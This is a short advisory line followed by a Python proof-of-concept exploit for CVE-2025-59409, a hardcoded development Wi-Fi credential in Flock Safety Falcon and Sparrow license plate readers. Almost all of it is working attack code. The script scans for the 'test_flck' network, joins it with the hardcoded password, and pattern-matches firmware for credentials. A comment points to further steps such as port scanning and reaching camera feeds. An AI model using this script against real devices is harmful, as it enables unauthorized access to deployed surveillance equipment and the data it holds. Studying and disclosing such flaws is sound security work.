Flock Safety Falcon and Sparrow License Plate Readers OPM1.171019.026 ship with development Wi-Fi credentials (test_flck) stored in cleartext in production firmware.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-59409 - Flock Safety Falcon/Sparrow LPR Hardcoded Wi-Fi Credential PoC
This PoC demonstrates how to discover and connect to the development Wi-Fi network
broadcasted by affected Flock Safety License Plate Readers.
"""
import subprocess
import time
import re
TARGET_SSID = "test_flck"
# Known hardcoded credential extracted from firmware OPM1.171019.026
# The password is stored in cleartext in production firmware
TARGET_PASSWORD = "test_flck" # Placeholder - actual credential from firmware analysis
def scan_wifi_networks():
"""Scan for nearby Wi-Fi networks and look for the target SSID."""
print("[*] Scanning for Wi-Fi networks...")
try:
# Use nmcli to scan available networks on Linux
result = subprocess.run(
["nmcli", "-t", "-f", "SSID,SIGNAL", "dev", "wifi"],
capture_output=True, text=True, timeout=30
)
if result.returncode == 0:
networks = result.stdout.strip().split("\n")
for network in networks:
if ":" in network:
ssid, signal = network.split(":", 1)
if ssid == TARGET_SSID:
print(f"[+] Found target network: {ssid} (Signal: {signal}%)")
return True
print("[-] Target network not found in scan.")
return False
except Exception as e:
print(f"[!] Scan error: {e}")
return False
def connect_to_target():
"""Attempt to connect to the target development Wi-Fi network."""
print(f"[*] Attempting to connect to {TARGET_SSID}...")
try:
# Connect using nmcli with the hardcoded credentials
cmd = [
"nmcli", "dev", "wifi", "connect", TARGET_SSID,
"password", TARGET_PASSWORD
]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
if result.returncode == 0:
print("[+] Successfully connected to development network!")
print("[+] Device is now accessible on internal network.")
# Further exploitation steps can be performed here
# e.g., port scanning, accessing camera feeds, etc.
return True
else:
print(f"[-] Connection failed: {result.stderr}")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
def extract_credential_from_firmware(firmware_path):
"""
Extract the hardcoded Wi-Fi credential from the firmware image.
The credential is stored in cleartext in the production firmware.
"""
print(f"[*] Analyzing firmware: {firmware_path}")
try:
# Search for common Wi-Fi config patterns in firmware
patterns = [
rb'ssid=test_flck',
rb'psk=.*',
rb'wifi.*password',
rb'test_flck',
]
with open(firmware_path, 'rb') as f:
data = f.read()
for pattern in patterns:
matches = re.findall(pattern, data, re.IGNORECASE)
if matches:
print(f"[+] Found credential pattern: {matches}")
return matches
except FileNotFoundError:
print("[!] Firmware file not found. Use physical extraction method.")
return None
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-59409 - Flock Safety LPR Wi-Fi Credential PoC")
print("=" * 60)
# Step 1: Scan for the target network
if scan_wifi_networks():
# Step 2: Connect using hardcoded credentials
if connect_to_target():
print("\n[+] Exploitation successful. Device network access obtained.")
else:
print("\n[*] Ensure you are within Wi-Fi range of a Flock Safety LPR device.")
print("[*] Or extract firmware directly from device for offline analysis.")